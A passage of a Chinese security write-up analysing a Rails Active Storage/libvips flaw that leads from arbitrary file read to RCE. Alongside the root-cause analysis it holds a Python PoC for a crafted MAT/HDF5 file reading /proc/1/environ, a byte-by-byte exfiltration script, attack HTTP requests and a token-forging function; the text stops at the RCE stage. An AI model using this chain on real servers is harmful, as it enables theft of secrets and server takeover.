免责声明
本文仅用于安全研究与防御教育目的。所涉及的技术细节、代码片段与利用链分析均基于公开的安全公告、厂商补丁及授权研究环境中的复现实验。读者不得将本文内容用于任何未经授权的系统测试、攻击或入侵活动。在未获得目标系统所有者明确书面授权的情况下,对任何真实系统实施本文描述的技术均属违法行为,作者不承担由此产生的任何法律责任。
本文中的 PoC 代码已做脱敏与最小化处理,旨在帮助安全工程师理解漏洞机理并构建检测规则,而非提供可直接武器化的攻击工具。如果你在生产环境中运行 Rails 且受此漏洞影响,请立即按照本文"补丁分析与修复方案"一节升级并轮换密钥。
漏洞概述
2026 年 7 月 29 日,Ruby on Rails 项目发布了安全公告 GHSA-xr9x-r78c-5hrm,披露了 CVE-2026-66066——一个影响 Active Storage 变体处理的严重漏洞,CVSS v4 评分高达 9.5。该漏洞由 Ethiack 研究团队(André Baptista / 0xacb、Bruno Mendes / S3np41k1r1t0、Rafael Castilho)与 GMO Flatt Security 的 RyotaK 独立发现并联合报告,代号 KindaRails2Shell。
漏洞的核心链条可以用一句话概括:Active Storage 将不可信用户上传的文件交给了 libvips 中已被标记为"对不可信内容不安全"的操作,而 libvips 的字节嗅探器与底层 libmatio 库对同一个 MAT 文件头部做出了相互矛盾的判断,使得攻击者可以借助 HDF5 外部存储特性读取服务器任意文件——包括 secret_key_base——随后伪造签名变换令牌实现 RCE。
该漏洞的危险性体现在以下几个维度:
-
默认配置即受影响:Rails 7.0 起
load_defaults 7.0将 Vips 设为 Active Storage 的默认变体处理器,官方 Rails Docker 镜像在 Debian 基础上默认apt install libvips。任何接受不可信用户图片上传的默认 Rails 应用均受影响,无需额外配置错误。 -
未认证即可触发文件读取:文件读取阶段不需要
secret_key_base,攻击者只需从目标应用任意响应中采集一个合法的variation_key,配合直接上传的 blob 即可触发。这使得攻击的初始门槛极低。 -
文件读取到 RCE 的平滑升级:一旦读取到
/proc/self/environ或config/master.key+config/credentials.yml.enc,攻击者即可恢复secret_key_base,进而伪造 Active Storage 签名令牌。由于 Vips 变换器未覆盖validate_transformation白名单(ImageMagick 有而 Vips 没有),伪造的变换可以触发任意方法调用,最终到达Kernel#spawn或Kernel#eval实现 RCE。 -
修复依赖外部库版本:修复不仅需要升级 Rails,还要求 libvips >= 8.13(旧版本根本无法禁用不安全操作,Active Storage 在此环境下启动时直接抛出异常)。
| 属性 | 详情 |
|---|---|
| CVE 编号 | CVE-2026-66066 |
| CVSS v4 | 9.5(Critical) |
| CVSS 向量 | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H |
| CWE | CWE-1188(使用不安全默认值初始化资源) |
| 影响范围 | activestorage < 7.2.3.2;>= 8.0, < 8.0.5.1;>= 8.1, < 8.1.3.1 |
| 修复版本 | 7.2.3.2、8.0.5.1、8.1.3.1 |
| 前置条件 | libvips >= 8.13(修复必须)、ruby-vips >= 2.2.1 |
| 公开 PoC | Metasploit 模块 exploit/multi/http/rails_activestorage_vips_rce 已公开 |
Active Storage 图像处理架构
要理解这个漏洞,必须先理解 Rails Active Storage 是如何将一个用户上传的文件变成一张缩略图的。整个架构涉及四个层次的信任传递。
3.1 从上传到变体的请求流
Active Storage 支持两种上传方式:常规附件上传(multipart 表单)和直接上传(Direct Upload,JavaScript 客户端先创建 blob 记录,再直接 PUT 到存储服务)。直接上传是现代 Rails 应用的主流模式,也是本漏洞利用的关键入口。
# Rails 8.0.5 — ActiveStorage::DirectUploadsController#create
class ActiveStorage::DirectUploadsController < ActiveStorage::BaseController
def create
blob = ActiveStorage::Blob.create_before_direct_upload!(**blob_args)
render json: direct_upload_json(blob)
end
private
def blob_args
params.expect(blob: [:filename, :byte_size, :checksum, :content_type, metadata: {}])
.to_h.symbolize_keys
end
end
在直接上传路径中,content_type 直接来自客户端请求参数,经 create_before_direct_upload! 写入数据库 blob 记录。这个路径永远不会运行服务端的 Marcel 内容类型识别流程。 作为对比,通过常规 multipart 附件上传时,Rails 会用 Marcel 重新识别文件字节的真实类型——在实验室环境中,同样的恶意文件通过常规附件上传时会被识别为 MATLAB 数据,从而无法通过图像门控。
3.2 变体生成与 Vips 管道
当应用请求一个变体(variant)或表示(representation)时,Active Storage 会将 blob 下载到临时文件,然后交给 image_processing gem 处理:
# activestorage — 变体处理流程
def process(file, format:)
processor.
source(file).
loader(page: 0). # 注意:此处不指定加载器,仅存储选项
convert(format).
apply(operations). # 将签名后的变换列表转发给 image_processing
call
end
def processor
ImageProcessing.const_get(ActiveStorage.variant_processor.to_s.camelize)
end
关键在于 loader(page: 0) 这一行——它看起来像是在指定加载器,实际上只是存储了一些选项,真正的加载器选择延迟到 libvips 内部完成。在 image_processing 1.14.0 中,路径最终到达:
# image_processing — Vips::Image.new_from_file
def self.load_image(path_or_image, loader: nil, autorot: true, **options)
if path_or_image.is_a?(::Vips::Image)
image = path_or_image
else
path = path_or_image
if loader
image = ::Vips::Image.public_send(:"#{loader}load", path, **options)
else
options = Utils.select_valid_loader_options(path, options)
image = ::Vips::Image.new_from_file(path, **options) # ← 加载器选择交给 libvips
end
end
image = image.autorot if autorot && !options.key?(:autorotate)
image
end
由于 loader: 保持为 nil,加载器的选择完全交给 libvips 的文件嗅探器。这就是架构层面的第一个信任失败点:Active Storage 信任数据库中的 content_type,libvips 信任文件字节,两者之间没有任何一致性校验。
3.3 libvips 的字节嗅探机制
libvips 通过"加载器"(loaders)和"保存器"(savers)来读写各种文件格式。根据编译时链接的第三方库,libvips 可以加载 PDF(via poppler)、SVG(via librsvg)、FITS 天文图像、NIfTI 医学扫描、OpenSlide 病理切片、Radiance HDR 以及 MATLAB .mat 文件等远超常规 Web 图像范围的格式。
libvips 选择加载器的方式是字节嗅探——它不信任文件名或声明的 MIME 类型,而是依次运行每个加载器的探测器(sniffer),直到有一个探测器说"这是我的格式"。这是一个合理的安全设计,但问题在于:libvips 将一部分格式标记为"未经模糊测试"(unfuzzed / untrusted),意味着它们对不可信内容不安全,而 Active Storage 在处理前并未禁用这些不安全操作。
漏洞根因:四层信任失败
CVE-2026-66066 不是一个单一的缺陷,而是四层信任边界同时失效的结果。每一层单独来看都有其合理性,但当它们组合在一起时,形成了一条从上传到 RCE 的完整通路。
4.1 第一层:content_type 闸门只看数据库列
Active Storage 通过 Blob#variable? 决定一个 blob 是否可以被变换。该方法仅检查存储在数据库中的 content_type 字段:
# activestorage — Blob::Representable
def variable?
ActiveStorage.variable_content_types.include?(content_type)
end
ActiveStorage.variable_content_types 是一个允许列表,包含 image/png、image/jpeg 等。注意它检查的是什么:声明的 content_type,一个字符串。而这个字符串在直接上传路径中直接来自客户端——Rails 从不检查文件字节。攻击者只需在 POST /rails/active_storage/direct_uploads 时声明 content_type: "image/png",数据库里就会记录一个"图像"blob,而实际字节是精心构造的 MAT 文件。
4.2 第二层:libvips 字节嗅探信任文件字节
如前所述,libvips 通过 vips__mat_ismat 嗅探器决定是否将文件路由到 matload 加载器。这个嗅探器的全部逻辑只是一个 10 字节前缀检查:
// libvips 8.16.1 — vips__mat_ismat
int vips__mat_ismat(const char *filename)
{
unsigned char buf[15];
if (vips__get_bytes(filename, buf, 10) == 10 &&
vips_isprefix("MATLAB 5.0", (char *) buf)) // 只看前10字节
return 1;
return 0;
}
一个文件只要以 MATLAB 5.0 开头,libvips 就会选择 matload 加载器。有趣的是,真正的 MAT 7.3 文件以 MATLAB 7.3 MAT-file 开头,反而无法通过这个检查。
4.3 第三层:Vips.block_untrusted(true) 从未被调用
libvips 8.13 引入了 Vips.block_untrusted 机制,允许全局禁用标记为 VIPS_OPERATION_UNTRUSTED 的操作。matload 正是被标记为 untrusted 的操作之一:
// libvips 8.16.1 — vips_foreign_load_mat_class_init
static void vips_foreign_load_mat_class_init(VipsForeignLoadMatClass *class)
{
// ... 类初始化 ...
operation_class->flags |= VIPS_OPERATION_UNTRUSTED; // 标记为不安全
foreign_class->suffs = vips__mat_suffs;
load_class->is_a = vips__mat_ismat; // 注册嗅探器
}
libvips 已经知道 matload 对不可信内容不安全并做了标记,但 Active Storage 从未调用 Vips.block_untrusted(true) 来实际禁用这些操作。这是 CWE-1188(使用不安全默认值初始化资源)的典型体现——libvips 提供了安全开关,但默认关闭,而 Active Storage 没有主动开启它。
4.4 第四层:libvips 与 libmatio 的头部分歧
这是整个漏洞链中最精妙的一环。当 matload 被选中后,libvips 将文件交给底层库 libmatio 处理。然而,两个库检查的是同一个 MAT 文件头部中不同的字段,从而得出了相互矛盾的结论。
MAT 文件头部为 128 字节。libvips 的嗅探器检查偏移 0 处的文本描述字段;libmatio 则根据偏移 124-125 处的 2 字节版本字段来分派解析器:
// libmatio 1.5.28 — 版本枚举
enum mat_ft
{
MAT_FT_MAT73 = 0x0200, // Matlab 7.3 文件(HDF5 后端)
MAT_FT_MAT5 = 0x0100, // Matlab 5 文件(经典解析器)
MAT_FT_MAT4 = 0x0010, // Matlab 4 文件
MAT_FT_UNDEFINED = 0
};
// libmatio 1.5.28 — Mat_Open
bytesread += fread(mat->header, 1, 116, fp); // 偏移0-115: 文本描述
mat->header[116] = '\0';
bytesread += fread(mat->subsys_offset, 1, 8, fp); // 偏移116-123: 子系统偏移
bytesread += 2 * fread(&tmp2, 2, 1, fp); // 偏移124-125: 版本字段
bytesread += fread(&tmp, 1, 2, fp); // 偏移126-127: 字节序标记
if (128 == bytesread) {
mat->byteswap = -1;
if (tmp == 0x4d49) // "IM" → 大端
mat->byteswap = 0;
else if (tmp == 0x494d) { // "MI" → 小端
mat->byteswap = 1;
Mat_int16Swap(&tmp2);
}
mat->version = (int)tmp2; // ← 存储版本字段(来自字节124-125)
if ((mat->version == 0x0100 || mat->version == 0x0200) && -1 != mat->byteswap) {
mat->bof = ftello((FILE *)mat->fp);
mat->next_index = 0;
} else {
mat->version = 0;
}
}
随后在读取数据时,libmatio 根据 mat->version 分派到不同的读取器:
// libmatio — ReadData
static int ReadData(mat_t *mat, matvar_t *matvar)
{
if (mat->version == MAT_FT_MAT5)
return Mat_VarRead5(mat, matvar);
#if defined(MAT73) && MAT73
else if (mat->version == MAT_FT_MAT73)
return Mat_VarRead73(mat, matvar); // ← 进入 HDF5 后端读取路径
#endif
else if (mat->version == MAT_FT_MAT4)
return Mat_VarRead4(mat, matvar);
return MATIO_E_FAIL_TO_IDENTIFY;
}
一个文件可以对 libvips 说"我是 MATLAB 5.0",同时让 libmatio 走 MAT 7.3(HDF5)的读取路径。 这种头部分歧是整个利用链的基石。下表总结了四层信任失败的完整图景:
┌─────────────────────────────────────────────────────────────────────────┐
│ 四层信任失败模型 (Four-Layer Trust Failure) │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ 第一层: Active Storage content_type 闸门 │
│ ┌─────────────────────────────────────────────┐ │
│ │ Blob#variable? 仅检查数据库 content_type 列 │ │
│ │ 直接上传路径不检查文件字节 │ │
│ │ 攻击者声明 image/png → 通过图像门控 │ │
│ └──────────────────────┬──────────────────────┘ │
│ ▼ │
│ 第二层: libvips 字节嗅探 │
│ ┌─────────────────────────────────────────────┐ │
│ │ vips__mat_ismat 只检查前 10 字节 │ │
│ │ 文件头声称 "MATLAB 5.0" → 选择 matload │ │
│ │ 不信任文件名/MIME,信任文件字节 │ │
│ └──────────────────────┬──────────────────────┘ │
│ ▼ │
│ 第三层: Vips.block_untrusted 未调用 │
│ ┌─────────────────────────────────────────────┐ │
│ │ matload 标记为 VIPS_OPERATION_UNTRUSTED │ │
│ │ 但 Active Storage 从未调用 block_untrusted │ │
│ │ 不安全加载器照常执行 │ │
│ └──────────────────────┬──────────────────────┘ │
│ ▼ │
│ 第四层: libvips/libmatio 头部分歧 │
│ ┌─────────────────────────────────────────────┐ │
│ │ libvips 看字节 0-9: "MATLAB 5.0" → 是 MAT │ │
│ │ libmatio 看字节 124-125: 0x0200 → MAT 7.3 │ │
│ │ 分歧导致进入 HDF5 读取路径 │ │
│ └─────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────┘
双重身份文件构造
要同时满足 libvips 嗅探器和 libmatio 版本分派器的要求,攻击者需要构造一个"双重身份"文件——它对 libvips 看起来像 MAT 5.0,对 libmatio 看起来像 MAT 7.3。
5.1 MAT 文件头部布局
一个标准的 MAT 文件头部为 128 字节,布局如下:
| 偏移 | 长度 | 字段 | 说明 |
|---|---|---|---|
| 0 | 116 | 文本描述 | 人类可读的格式描述文本 |
| 116 | 8 | 子系统偏移 | 子系统数据偏移量 |
| 124 | 2 | 版本 | 0x0100=MAT5,0x0200=MAT7.3 |
| 126 | 2 | 字节序 | IM(0x4d49)=大端,MI(0x494d)=小端 |
libvips 只看偏移 0-9,要求精确匹配 MATLAB 5.0。研究团队测试了所有版本字符串——MATLAB 7.3、MATLAB 7.0、MATLAB 6.0 全部被嗅探器拒绝。这个 10 字节字符串是此攻击向量的强制条件。
libmatio 只看偏移 124-125 的版本字段来决定走哪条解析路径。文本描述字段对版本分派没有任何影响。
5.2 HDF5 用户块机制
这里有一个关键问题:MAT 7.3 本质上就是 HDF5 文件,而 HDF5 文件以 8 字节签名 \x89HDF\r\n\x1a\n 开头。但如果文件开头是 MATLAB 5.0,HDF5 库怎么识别它?
答案是 HDF5 用户块(userblock) 机制。HDF5 允许在真正的超级块(superblock)之前放置一个任意大小的前导块(必须是 512 的幂,最小 512 字节)。libmatio 在打开 MAT 7.3 文件时,会在偏移 512 处寻找 HDF5 超级块签名。
因此,双重身份文件的布局如下:
偏移 0: "MATLAB 5.0 MAT-file..." ← libvips 嗅探器: "是 MAT 文件"
偏移 124: 0x0200 ← libmatio: 版本 0x0200 → 使用 HDF5 后端
偏移 126: "IM" (0x4d49) ← 字节序标记(大端)
偏移 128: (填充至 512 字节)
偏移 512: \x89HDF\r\n\x1a\n ← HDF5 超级块签名
+ 数据集 "x",使用外部存储 → 指向目标文件
这种构造的巧妙之处在于:一个文件的前 128 字节声称自己是 MATLAB 5.0(欺骗 libvips),但版本字段 0x0200 让 libmatio 走 HDF5 读取路径。正常的 MAT 5 文件有文本但没有 MAT 7.3 版本标记;正常的 MAT 7.3 文件有版本标记但文本是 MATLAB 7.3。这个双重身份文件是一个正常世界中不存在的混合体——它利用了两个库对同一头部的不同关注点。
5.3 Python PoC:构造双重身份文件
下面是使用 Python h5py 库构造恶意文件的核心代码。该代码创建一个 512 字节用户块,在偏移 0 写入 MATLAB 5.0 文本,在偏移 124-127 写入 MAT 7.3 版本与字节序标记,然后在偏移 512 处放置一个带外部存储的 HDF5 数据集。
import h5py
import numpy as np
import struct
def craft_dual_identity_mat(target_path: str, read_bytes: int = 4096,
target_file: str = "/proc/1/environ") -> None:
"""
构造双重身份 MAT/HDF5 文件:
- 文件头声称 "MATLAB 5.0" (欺骗 libvips 嗅探器,只看前10字节)
- 版本字段 0x0200 (欺骗 libmatio,走 HDF5 读取路径)
- HDF5 外部数据集指向 target_file
参数:
target_path: 输出文件路径
read_bytes: 要从目标文件读取的字节数
target_file: 要读取的目标文件路径 (如 /proc/1/environ)
"""
# 第一步: 创建带 512 字节用户块的 HDF5 文件
with h5py.File(target_path, "w", userblock_size=512) as f:
# 创建一个 uint8 数据集,其字节存储在外部文件中
# external 参数接受 (文件名, 偏移, 大小) 三元组列表
# → 底层调用 H5Pset_external
f.create_dataset(
"x",
shape=(1, read_bytes),
dtype="uint8",
external=[(target_file, 0, read_bytes)]
)
# 设置 MATLAB_class 属性,让 libmatio 识别为 MATLAB 变量
f["x"].attrs.create(
"MATLAB_class",
np.frombuffer(b"uint8", dtype="S5")[0]
)
# 第二步: 在 512 字节用户块中写入欺骗性 MAT 头部
with open(target_path, "r+b") as f:
# 偏移 0-115: 文本描述 (libvips 只看前 10 字节)
header_text = b"MATLAB 5.0 MAT-file, crafted dual-identity"
header_text = header_text.ljust(116, b"\x00")
f.seek(0)
f.write(header_text)
# 偏移 116-123: 子系统偏移 (8 字节,置零)
f.seek(116)
f.write(b"\x00" * 8)
# 偏移 124-125: 版本字段 0x0200 = MAT_FT_MAT73 (大端)
# 这是欺骗 libmatio 的关键字段
f.seek(124)
f.write(struct.pack(">H", 0x0200)) # 大端: 0x02 0x00
# 偏移 126-127: 字节序标记 "IM" (0x4d49 = 大端)
f.seek(126)
f.write(b"IM")
print(f"[+] 双重身份文件已生成: {target_path}")
print(f"[+] libvips 嗅探器将看到: MATLAB 5.0 (偏移 0-9)")
print(f"[+] libmatio 将读取版本: 0x0200 = MAT 7.3 (偏移 124-125)")
print(f"[+] HDF5 外部存储指向: {target_file} (读取 {read_bytes} 字节)")
print(f"[+] HDF5 超级块位于偏移: 512 (用户块之后)")
# 使用示例: 构造读取 /proc/1/environ 的恶意文件
craft_dual_identity_mat(
target_path="afr.mat",
read_bytes=4096,
target_file="/proc/1/environ"
)
运行后生成的文件,其前 128 字节头部如下:
0000: 4d 41 54 4c 41 42 20 35 2e 30 20 4d 41 54 2d 66 MATLAB 5.0 MAT-f
0010: 69 6c 65 2c 20 63 72 61 66 74 65 64 20 64 75 61 ile, crafted dua
...
0070: 00 00 00 00 00 00 00 00 00 00 00 00 02 00 49 4d ............[version][endian]
偏移124-125 ^^^^^^ ^^^^^^ 偏移126-127
0x0200=MAT73 "IM"=大端
0200: 89 48 44 46 0d 0a 1a 0a ... [HDF5 超级块签名]
^^^^^^^^^^^^^^^^^^^^^^^^^
偏移 512 处的 HDF5 签名
HDF5 外部存储文件读取原语
双重身份文件解决了"如何让 libmatio 走 HDF5 路径"的问题,而 HDF5 的外部存储(External Storage)特性则提供了任意文件读取的能力。
6.1 H5Pset_external 机制
HDF5 是一种用于科学数据的层次化数据格式。当创建一个数据集时,可以告诉 HDF5 这个数据集的原始字节不存储在文件内部,而是存储在另一个文件、任意路径、某个偏移处。这是一个合法的 HDF5 特性,设计用于过大的数据集——数据集的创建属性列表(creation property list)携带一系列 (文件名, 偏移, 大小) 三元组,当读取数据集时,HDF5 会透明地打开这些外部文件并从中读取字节。
// HDF5 API — H5Pset_external
herr_t H5Pset_external(hid_t plist, const char *name,
off_t offset, hsize_t size);
// plist: 数据集创建属性列表
// name: 外部文件名 (可以是任意路径,如 /etc/passwd)
// offset: 在外部文件中的字节偏移
// size: 要读取的字节数
6.2 libmatio 从不检查外部存储
libmatio 在读取 MAT 7.3 变量数据时,最终通过 H5Dread 调用让 HDF5 库读取数据集。关键问题是:libmatio 在读取路径中从不调用 H5Pget_external_count() 来检查数据集是否使用了外部存储。
// libmatio — Mat_H5ReadData (简化)
static int Mat_H5ReadData(hid_t dset_id, hid_t h5_type,
hid_t mem_space, hid_t dset_space,
int isComplex, void *data)
{
// ★ 注意: 此处没有调用 H5Pget_external_count() 检查外部存储
// ★ 也没有调用 H5Pget_external() 获取外部文件信息
// 唯一的存储验证是对分块数据集的截断检查
herr_t herr;
if (!isComplex) {
herr = H5Dread(dset_id, h5_type, mem_space, dset_space,
H5P_DEFAULT, data); // ← HDF5 解析外部存储条目
if (herr < 0) {
return MATIO_E_GENERIC_READ_ERROR;
}
}
// ...
}
H5Dread 会解析外部存储条目,打开攻击者指定的文件(如 /proc/1/environ),并将其字节复制到 MAT 变量的数据缓冲区中。随后,libvips 将这些字节当作图像像素处理,Active Storage 将它们作为渲染后的 PNG 表示返回给攻击者。
6.3 逐字节读取技术
将文件字节读取为图像像素有一个技术挑战:如果变换包含 resize_to_limit 等缩放操作,插值算法会混合相邻像素,破坏逐字节读取的精确性。
Ethiack 团队给出的解决方案是:使用 1×1 图像,每次请求只读取一个字节。 由于 1×1 图像没有相邻像素可供混合,单个像素会精确返回目标字节。通过并行化多个偏移量请求,可以像流式读取一样从缩略图中提取任意文件内容。超出文件末尾的读取会返回零填充字节,因此可以自动探测文件长度。
# 逐字节读取目标文件 (并行化)
import concurrent.futures
def read_byte_at_offset(offset: int, target_file: str) -> int:
"""构造一个 1x1 外部存储数据集,从 target_file 偏移 offset 处读取 1 字节"""
craft_dual_identity_mat(
target_path=f"/tmp/byte_{offset}.mat",
read_bytes=1,
target_file=target_file
)
# 上传该文件并触发变体处理,解析返回 PNG 的单像素值
pixel_value = trigger_and_parse_representation(f"/tmp/byte_{offset}.mat")
return pixel_value
def exfiltrate_file(target_file: str, max_size: int = 8192) -> bytes:
"""通过 1x1 缩略图逐字节提取文件内容"""
with concurrent.futures.ThreadPoolExecutor(max_workers=32) as pool:
futures = {
pool.submit(read_byte_at_offset, offset, target_file): offset
for offset in range(max_size)
}
result = bytearray(max_size)
for future in concurrent.futures.as_completed(futures):
offset = futures[future]
byte = future.result()
if byte == 0:
# 零填充可能意味着文件结束,但需确认
continue
result[offset] = byte
return bytes(result).rstrip(b"\x00")
研究团队后来发现还可以利用锐化滤镜(unsharpening filter)等技术,通过单张图像一次性提取更多字节,大幅提高外泄效率。
6.4 文件读取原语的全景
┌──────────────────────────────────────────────────────────────────────┐
│ HDF5 外部存储文件读取原语 (AFR Primitive) │
├──────────────────────────────────────────────────────────────────────┤
│ │
│ 攻击者构造的恶意文件: │
│ ┌──────────────────────────────────────────┐ │
│ │ [MAT 5.0 头部] [版本 0x0200] [HDF5 数据] │ │
│ │ │ │ │
│ │ 外部数据集 "x" ──────┘ (external=...) │ │
│ └─────────────────────────┬────────────────┘ │
│ │ H5Dread() 解析外部存储条目 │
│ ▼ │
│ ┌──────────────────────────────────────────┐ │
│ │ 目标文件: /proc/1/environ │ │
│ │ ┌────────────────────────────────────┐ │ │
│ │ │ SECRET_KEY_BASE=abc123... │ │ │
│ │ │ RAILS_MASTER_KEY=def456... │ │ │
│ │ │ DATABASE_URL=postgres://... │ │ │
│ │ └────────────────────────────────────┘ │ │
│ └─────────────────────────┬────────────────┘ │
│ │ 字节被复制到 MAT 变量缓冲区 │
│ ▼ │
│ ┌──────────────────────────────────────────┐ │
│ │ libvips 将字节当作图像像素 │ │
│ │ Active Storage 渲染为 PNG 返回 │ │
│ │ 攻击者解析像素 → 还原文件字节 │ │
│ └──────────────────────────────────────────┘ │
│ │
│ ★ 1×1 图像 = 逐字节精确读取 (无插值混合) │
│ ★ 并行化多个偏移 = 流式文件外泄 │
│ ★ 超出 EOF = 零填充 (自动探测文件长度) │
│ │
└──────────────────────────────────────────────────────────────────────┘
完整利用链九阶段
KindaRails2Shell 的完整利用链由九个阶段组成,从获取 CSRF 令牌开始,到最终实现远程代码执行结束。前六个阶段实现任意文件读取(不需要 secret_key_base),后三个阶段利用泄露的密钥实现 RCE 升级。
┌─────────────────────────────────────────────────────────────────────────┐
│ KindaRails2Shell 完整利用链 (九阶段) │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ 阶段1 阶段2 阶段3 阶段4 │
│ ┌────┐ ┌────────┐ ┌──────────┐ ┌──────────┐ │
│ │CSRF│─────▶│上传正常│ │创建直接 │ │上传恶意 │ │
│ │令牌│ │PNG获取 │ │上传blob │ │MAT/HDF5 │ │
│ └────┘ │var_key │ │(类型欺骗)│ │文件 │ │
│ └────────┘ └──────────┘ └──────────┘ │
│ │ │ │ │
│ └──────────────┴──────────────┘ │
│ │ │
│ ▼ │
│ 阶段5: 触发图像处理 │
│ (复用 var_key + 新 blob 的 signed_id) │
│ │ │
│ ▼ │
│ 阶段6: 读取 /proc/1/environ │
│ → 提取 secret_key_base │
│ │ │
│ ┌─────────────────────┴────────────────────┐ │
│ │ RCE 升级分界线 │ │
│ └─────────────────────┬────────────────────┘ │
│ ▼ │
│ 阶段7: 伪造变换令牌 │
│ (HMAC(secret, Marshal payload)) │
│ │ │
│ ▼ │
│ 阶段8: 触发反序列化 │
│ (携带伪造令牌的 representation 请求) │
│ │ │
│ ▼ │
│ 阶段9: RCE │
│ (Kernel#spawn / Kernel#eval) │
│ │
└─────────────────────────────────────────────────────────────────────────┘
阶段 1:获取 CSRF 令牌
攻击的第一步是访问目标应用首页,提取 CSRF 令牌。这是 Rails 所有写操作的标准要求。
GET / HTTP/1.1
Host: victim.example.com
响应中的 <meta> 标签包含 CSRF 令牌:
<meta name="csrf-token" content="7G3F...TOKEN...ABCD">
阶段 2:上传正常 PNG,采集 variation_key
攻击者上传一张无害的 PNG 图片。这一步的真正目的不是上传图片本身,而是从响应中采集一个合法的 variation_key。
POST /uploads HTTP/1.1
Host: victim.example.com
Content-Type: multipart/form-data; boundary=----BOUNDARY
X-CSRF-Token: 7G3F...TOKEN...ABCD
------BOUNDARY
Content-Disposition: form-data; name="authenticity_token"
7G3F...TOKEN...ABCD
------BOUNDARY
Content-Disposition: form-data; name="upload[avatar]"; filename="safe.png"
Content-Type: image/png
<PNG DATA>
------BOUNDARY--
响应中包含表示 URL,其中携带合法的 variation_key:
<img src="/rails/active_storage/representations/redirect/eyJ...signed_blob_id.../eyJ...variation_key.../safe.png">
关键性质:variation_key 只签名变换操作(如 {"resize_to_limit":[1024,768]}),不签名 blob。 这意味着它是 blob 无关的、可重放的,并且被设计为公开的。攻击者可以从应用任何响应中、og:image 元标签中、API 响应中、甚至互联网档案馆(Wayback Machine)的多年旧快照中采集一个合法的 variation_key。
阶段 3:创建直接上传 blob(content_type 欺骗)
利用采集到的 CSRF 令牌,攻击者调用直接上传端点创建一个 blob 记录。这里的关键欺骗是声明 content_type: "image/png",而实际要上传的是恶意 MAT 文件。
POST /rails/active_storage/direct_uploads HTTP/1.1
Host: victim.example.com
Content-Type: application/json
X-CSRF-Token: 7G3F...TOKEN...ABCD
{
"blob": {
"filename": "profile.png",
"byte_size": 4608,
"checksum": "...",
"content_type": "image/png"
}
}
响应返回 signed_id 和上传 URL:
{
"signed_id": "eyJ...",
"direct_upload": {
"url": "/rails/active_storage/disk/...",
"headers": {
"Content-Type": "image/png"
}
}
}
此时数据库中的 blob 记录 content_type 为 image/png,Blob#variable? 返回 true——但文件尚未上传。
阶段 4:上传恶意 MAT/HDF5 文件
攻击者将阶段 5.3 中构造的双重身份文件上传到返回的存储 URL。文件的实际字节是 MAT/HDF5 混合格式,但数据库中的 content_type 仍然是 image/png。
PUT /rails/active_storage/disk/... HTTP/1.1
Host: victim.example.com
Content-Type: image/png
<MATLAB 5.0 头部 + 版本 0x0200 + HDF5 外部存储数据集>
HTTP/1.1 204 No Content
阶段 5:触发图像处理(复用 variation_key)
这是整个利用链中最关键的"缝合"步骤。攻击者构造一个表示 URL,使用阶段 3 创建的恶意 blob 的 signed_id,配合阶段 2 采集的合法 variation_key。
GET /rails/active_storage/representations/redirect/<恶意blob的signed_id>/<采集的variation_key>/profile.png HTTP/1.1
Host: victim.example.com
为什么这能工作?因为 Active Storage 的表示路由对 signed_blob_id 和 variation_key 进行独立的签名验证,两者之间没有交叉校验:
# activestorage — ActiveStorage::SetBlob
def set_blob
@blob = blob_scope.find_signed!(params[:signed_blob_id] || params[:signed_id])
rescue ActiveSupport::MessageVerifier::InvalidSignature
head :not_found
end
# activestorage — Representations::BaseController
def set_representation
@representation = @blob.representation(params[:variation_key]).processed
rescue ActiveSupport::MessageVerifier::InvalidSignature
head :not_found
end
# activestorage — Variation.decode
def decode(key)
new ActiveStorage.verifier.verify(key, purpose: :variation)
end
set_blob 验证 blob ID 的签名,set_representation 单独验证 variation_key 的签名并应用到该 blob。两者之间没有绑定关系。 攻击者可以将任何应用曾发出的 variation_key 与新创建 blob 的 signed_id 拼接使用。
此时 Rails 调用 libvips 处理这个"image/png"——libvips 嗅探字节发现 MATLAB 5.0,选择 matload;libmatio 读取版本字段 0x0200,走 HDF5 路径;HDF5 解析外部存储条目,打开 /proc/1/environ 并将其字节复制到数据缓冲区;libvips 将这些字节当作像素渲染为 PNG。
阶段 6:读取 /proc/1/environ 获取 secret_key_base
返回的 PNG 图像的像素中包含了 /proc/1/environ 的内容。攻击者解析返回的 PNG,从像素中提取环境变量:
SECRET_KEY_BASE=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
RAILS_MASTER_KEY=yyyyyyyyyyyyyyyy
DATABASE_URL=postgres://user:pass@host/db
secret_key_base 是 Rails 签名体系的核心密钥。获取它意味着攻击者可以伪造任何签名数据——包括 Active Storage 的 variation_key。
注意:文件读取阶段完全不需要 secret_key_base。 这是本漏洞最危险的特性之一——攻击者可以在恢复 Rails 密钥或伪造令牌之前就读取任意文件。
阶段 7:伪造变换令牌
获取 secret_key_base 后,攻击者可以伪造自己的 variation_key。Active Storage 的验证器密钥派生自 secret_key_base:
# Rails 密钥派生 (简化)
# verifier_key = PBKDF2-HMAC-SHA256(secret_key_base, "ActiveStorage", 1000, 64)
# variation_key = HMAC(verifier_key, serialized_transform_payload)
攻击者构造一个恶意的变换 payload 并签名:
# 伪造 Active Storage 变换令牌
import hashlib
import hmac
import base64
def forge_variation_token(secret_key_base: str, malicious_transform: dict) -> str:
"""
使用泄露的 secret_key_base 伪造 Active Storage variation_key
"""
# 派生验证器密钥 (PBKDF2-HMAC-SHA256)
verifier_key = hashlib.pbkdf2_hmac(
"sha256",
secret_key_base.encode(),
b"ActiveStorage",
1000,
64
)
# 序列化变换 payload (Ruby Marshal 格式或 JSON)
# payload 示例: {"resize_to_limit": [1, 1]} 或恶意方法调用
serialized = serialize_ruby_marshal(malicious_transform)
# 签名
signature = hmac.new(verifier_key, serialized, hashlib.sha256).digest()
# Base64 编码 (Rails 签名令牌格式)
token = base64.urlsafe_b64encode(serialized + b"--" + signature).decode()
return token
阶段 8:触发反序列化
攻击者使用伪造的令牌发起表示请求:
GET /rails/active_storage/representations/redirect/<恶意blob的signed_id>/<伪造的variation_key>/safe.png HTTP/1.1
Host: victim.example.com
Rails 验证令牌签名——由于使用了正确的 secret_key_base,签名验证通过。随后 Rails 反序列化嵌入的变换 payload。
阶段 9:RCE
